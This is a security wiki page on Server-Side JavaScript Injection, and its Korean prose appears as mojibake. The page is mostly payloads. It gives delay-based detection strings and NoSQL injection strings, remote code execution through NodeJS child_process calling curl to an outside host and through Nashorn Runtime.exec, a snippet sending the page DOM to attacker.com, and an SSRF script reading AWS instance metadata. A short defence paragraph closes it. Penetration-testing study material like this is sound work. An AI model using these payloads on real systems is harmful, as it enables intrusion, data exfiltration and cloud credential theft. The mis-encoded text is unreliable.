Server-Side Javascript Injection (SSJI)

๐Ÿ” Introduction

SSJI(Server Side Javascript Injection)๋Š” ์„œ๋ฒ„๊ฐ€ ์ž์ฒด์ ์œผ๋กœ Javascript๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ์—”์ง„์„ ๊ฐ€์ง€๊ฑฐ๋‚˜, ๋ฐฑ์—”๋“œ์—์„œ Headless browser ๋“ฑ์„ ํ†ตํ•ด ์ฒ˜๋ฆฌํ•˜๋Š” ๋กœ์ง์ด ์žˆ๋Š” ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์ œ์–ดํ•˜์—ฌ ์„œ๋ฒ„์‚ฌ์ด๋“œ์—์„œ ์›ํ•˜๋Š” Javascirpt๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•˜๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค.

๐Ÿ—ก Offensive techniques

Detect

eval(), setTimeout(), setInterval() ๋“ฑ์˜ JS ํ•จ์ˆ˜๋ฅผ ํฌํ•จํ•œ ์š”์ฒญ์„ ์ „๋‹ฌํ•˜์—ฌ ์„œ๋ฒ„ ์‚ฌ์ด๋“œ์—์„œ ์ด๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š”์ง€ ์‹๋ณ„ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. ๊ฐ€์žฅ ๊ฐ„๋‹จํ•œ ๋ฐฉ๋ฒ•์œผ๋ก  setTimeout๊ณผ setInterval์„ ์ด์šฉํ•œ ๋”œ๋ ˆ์ด ์ฒดํฌ์ž…๋‹ˆ๋‹ค.

Request

1
GET /import?unloadcode=setTimeout(a%3d1,%205000) HTTP/1.1

Response

1
2
3
HTTP/1.1 200

// ๋‹จ delay time์ด 5์ดˆ ์ •๋„ ๋ฐœ์ƒํ•œ๋‹ค๋ฉด ๋ฐฑ์—”๋“œ์—์„œ ์ฒ˜๋ฆฌํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Œ

๋Œ€ํ‘œ์ ์œผ๋กœ ๋งŽ์ด ์‚ฌ์šฉ๋˜๋Š” Payloads๋Š” ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

1
2
3
4
5
6
7
8
1\';var d=new Date();do{var cd=new Date();}while(cd-d<1);var>
'a';sleep(1) and 'a';sleep(10000)
a;sleep(1) and a;sleep(10000)
sleep(1) and sleep(10000)
$where:"sleep(1)" and $where:"sleep(10000)"
%5b%5d=_security and %5b%5d=_all_docs
%5b%24eq%5d=1 and %5b%24ne%5d=1
';sleep(1);var xyz='0 and ';sleep(10000);var xyz='0

Exploitation

RCE (Remote Code Execution)

๋•Œ๋•Œ๋กœ Javascript๋Š” NodeJS, JVM(Java Virtual Machine) ์œ„์—์„œ ๋™์ž‘ํ•˜๋Š” Javascript ์—”์ง„์ธ Nashorn์ด๋‚˜ Graal ๋“ฑ ์„œ๋ฒ„ ์‚ฌ์ด๋“œ ๋งŽ์€ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ๋™์ž‘ํ•˜๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ SSJI๊ฐ€ ๊ฐ€๋Šฅํ•  ๋•Œ RCE ๋“ฑ ํฐ ๋ฆฌ์Šคํฌ์˜ ์ด์Šˆ๋กœ ์—ฐ๊ฒฐ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

NodeJS

1
require("child_process").exec('curl%20cxcjyaf5wahkidrp2zvhxe6ola.odiss.eu')

Nashron

1
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("ifconfig")')}

Inforamtion Leakage

๋ฐฑ์—”๋“œ Javascript ๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” DOM์ด๋‚˜ Memory์— ์žˆ๋Š” ๋ฐ์ดํ„ฐ๋“ค์€ ์„œ๋ฒ„์˜ ๋ฆฌ์†Œ์Šค์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด์„œ DOM ๊ตฌ์กฐ์™€ ์†Œ์Šค์ฝ”๋“œ๋ฅผ ํƒ์ƒ‰ํ•˜๊ณ  ์ค‘์š”ํ•œ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

1
2
var data = document.documentElement.innerHTML;
document.write("<img src=https://attacker.com?q="+btoa(data))

SSRF

Javascript๊ฐ€ Server-side์—์„œ ๋™์ž‘ํ•˜๊ธฐ ๋–„๋ฌธ์— ACL์„ ๋„˜์–ด ๋‚ด๋ถ€๋ง์—์„œ์˜ ์›น ์š”์ฒญ์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState === xhr.DONE) {
        if (xhr.status === 200 || xhr.status === 201) {
            document.write("<img src='"+btoa(xhr.responseText)+"'");
        } 
    }
};
xhr.open('GET', 'http://169.254.169.254/latest/meta-data/');
xhr.send();
// SSJI๋ฅผ ํ†ตํ•œ AWS Metadata ์ •๋ณด ํƒˆ์ทจ SSRF
// ์šด์ข‹์œผ๋ฉด RCE๊นŒ์ง€ ๊ฐ€๊ฒ ์ฃ ?

์ดํ›„ ์ฃผ์š” ํŽ˜์ด์ง€ ์ ‘๊ทผ์ด๋‚˜ ์šฐํšŒ ํŒจํ„ด์€ SSRF์™€ ๋™์ผํ•˜๋‹ˆ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

Other

์ด์™ธ DOM Clobbering์ด๋‚˜ Prototype Pollution ๋“ฑ JS ๊ธฐ๋ฐ˜์˜ ํ…Œํฌ๋‹‰์€ ๋ชจ๋‘ ๋™์ผํ•˜๊ฒŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์–ด ์˜ํ–ฅ๋ ฅ์„ ๋†’์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๐Ÿ›ก Defensive techniques

์„œ๋ฒ„๋‹จ์—์„œ ๋™์ž‘ํ•˜๋Š” Javascript๋Š” Ruby, Python ๋“ฑ ์Šคํฌ๋ฆฝํŠธ์™€ ๋™์ผํ•œ ๊ถŒํ•œ์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜๋ฉด ์ข‹์Šต๋‹ˆ๋‹ค. ๊ฐ€๊ธ‰์  ์‚ฌ์šฉ์ž์—๊ฒŒ์„œ ๋ถ€ํ„ฐ ์ž…๋ ฅ ๊ฐ’์€ ๋ฐ›์ง€ ์•Š๋„๋ก ํ•˜๊ณ  ํ˜น์—ฌ๋‚˜ ๋ฐ›์•„์•ผ ํ•œ๋‹ค๋ฉด ์˜๋„๋œ ์•ก์…˜ ์ด์™ธ์—๋Š” ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์—†๋„๋ก ์ •ํ™•ํ•˜๊ฒŒ ๊ฒ€์ฆ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0